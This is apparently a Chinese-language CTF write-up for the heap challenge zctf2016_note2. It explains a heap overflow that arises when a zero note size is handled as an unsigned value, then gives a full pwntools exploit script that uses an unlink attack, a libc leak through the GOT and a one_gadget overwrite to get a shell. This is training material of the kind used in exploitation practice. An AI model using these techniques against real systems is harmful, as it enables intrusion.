zctf2016_note2

没有pie还有可以改got表，大概攻击就是这样改got表

这里就是漏洞，我是没找到，最后看了别人的博客才明白。如果说我们申请的堆块的大小等于零的话在这里因为是无符号数，-1就会变的很大，就存在了一个堆溢出的漏洞

我们申请的堆块数和size就有了限制
然后ida里有控制堆块的地址，所以我们选择unlink是一个明智之举

io.recvuntil("Input your name:")
io.sendline("abcd")
#bin_sh_addr = 0x6020e0
io.recvuntil("Input your address:")
io.sendline("abcd")
ptr = 0x602120
fd_addr = ptr - 0x18
bk_addr = ptr - 0x10
payload = p64(0)+p64(0xa1)+p64(fd_addr)+p64(bk_addr)
creat(0x80,payload) #0
creat(0,"bbbb") #1
creat(0x80,"cccc")  #2
#edit(1,1,"dddddddddddddddd")
delete(1)

unlink的过程，然后我们要泄露libc的地址，我们只要往控制堆块修改成got表，然后打印出来就能得到对应的地址，然后用one_gadget直接打通

from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
#context.arch = 'amd64'
io =process('./note2')
io = remote("node4.buuoj.cn",25465)
elf = ELF('./note2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc-2.23.so')
def debug():
    gdb.attach(io)
    pause()
def creat(size,value):
    io.recvuntil("option--->>")
    io.sendline("1")
    io.recvuntil("Input the length of the note content:(less than 128)")
    io.sendline(str(size))
    io.recvuntil("Input the note content:")
    io.sendline(value)
def show(id):
    io.recvuntil("option--->>")
    io.sendline("2")
    io.recvuntil("Input the id of the note:")
    io.sendline(str(id))
def edit(id,choice,value):
    io.recvuntil("option--->>")
    io.sendline("3")
    io.recvuntil("Input the id of the note:")
    io.sendline(str(id))
    io.recvuntil("do you want to overwrite or append?[1.overwrite/2.append]")
    io.sendline(str(choice))
    io.recvuntil("TheNewContents:")
    io.sendline(value)
def delete(id):
    io.recvuntil("option--->>")
    io.sendline("4")
    io.recvuntil("Input the id of the note:")
    io.sendline(str(id))
io.recvuntil("Input your name:")
io.sendline("abcd")
#bin_sh_addr = 0x6020e0
io.recvuntil("Input your address:")
io.sendline("abcd")
ptr = 0x602120
fd_addr = ptr - 0x18
bk_addr = ptr - 0x10
payload = p64(0)+p64(0xa1)+p64(fd_addr)+p64(bk_addr)
creat(0x80,payload) #0
creat(0,"bbbb") #1
creat(0x80,"cccc")  #2
#edit(1,1,"dddddddddddddddd")
delete(1)
payload = p64(0)*2+p64(0xa0)+p64(0x90)
creat(0,payload)
delete(2)
free_got = elf.got["free"]
payload = b'a'*24+p64(free_got)
edit(0,1,payload)#3
#debug()
show(0)
#debug()
free_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
log.success("free_addr---------->"+hex(free_addr))
libcbase = free_addr - libc.sym["free"]
log.success("libcbase---------->"+hex(libcbase))
#debug()
system_addr = libcbase +libc.sym["system"]
one_gadget = [0x45216,0x4526a,0xf02a4]
payload= p64(one_gadget[2]+libcbase)
edit(0,1,payload)
#delete(0)
io.interactive()

总结，就是漏洞的地方要找到，我确实没有找到，又是积攒一波经验